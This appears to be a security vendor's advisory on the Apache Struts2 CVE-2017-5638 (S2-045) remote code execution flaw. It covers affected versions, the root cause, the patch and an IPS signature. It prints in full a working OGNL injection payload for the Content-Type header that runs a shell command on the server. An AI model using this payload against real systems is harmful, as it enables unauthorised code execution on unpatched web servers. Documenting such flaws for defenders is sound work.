A critical remote code execution vulnerability CVE-2017-5638 has been reported on Apache Struts2, affecting Struts 2.3.5-2.3.31 and Struts 2.5-2.5.10. A remote attacker could exploit this vulnerability by sending certain crafted HTTP request with mal-formed Content-Type value. A successful attack could execute arbitrary command on the web server.
As of Mar 6th, this vulnerability has been addressed in the Security Bulletin S2-045, and the exploit was already in-the-wild on MetaSploit.
The vulnerability is triggered by the OGNL expressions injected from the Content-Type header. When the Content-Type of a HTTP request is set to the following content, the command “whoami” will be executed:
%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_me mberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.A ctionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xw ork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlU til.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoam i').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('wi n'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new jav a.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start( )).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream ())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros .flush())}
Details of the vulnerability:
The vulnerability is caused by a logic error when handling an unknown Content-Type header. During the exception handling, the JakartaMultiPartRequest.buildErrorMessage method used localizedTextUtil.findText method to process the request content, and the later one contains a feature that shouldn’t be supported here: search the OGNL expressions inside the request, and eventually execute them.
The JakartaMultiPartRequest.parse method will parse the HTTP request header. When an unknown Content-Type is passed in, it will call the buildErrorMessage method to handle it. (As the name indicated, it would generates an error message):
The buildErrorMessage will then call the method localizedTextUtil.findText to parse the message. The body of the message will be passed in the 4th parameter:
In the official patch, the buildErrorMessage was fixed for necessary filtering before calling findText.
In the findText method, the OGNL expressions will be parsed and executed.
We suggest the users with an effected version of Struts2 to update the patch as soon as possible. Also the SonicWall IPS team has developed the following signature to identify and stop the attacks:
IPS: 12656 – Apache Struts 2 Jakarta Remote Code Execution (S2-045)
CVE-2017-5638 incidents in last 6 months
References:
[1] https://github.com/rapid7/metasploit-framework/issues/8064
[2] https://github.com/apache/struts/commit/352306493971e7d5a756d61780d57a76eb1f519a
[3] https://dist.apache.org/repos/dist/release/struts/2.3.20.1/
[4] http://blog.nsfocus.net/apache-struts2-remote-code-execution-vulnerability-analysis-program/
[5] https://cwiki.apache.org/confluence/display/WW/S2-045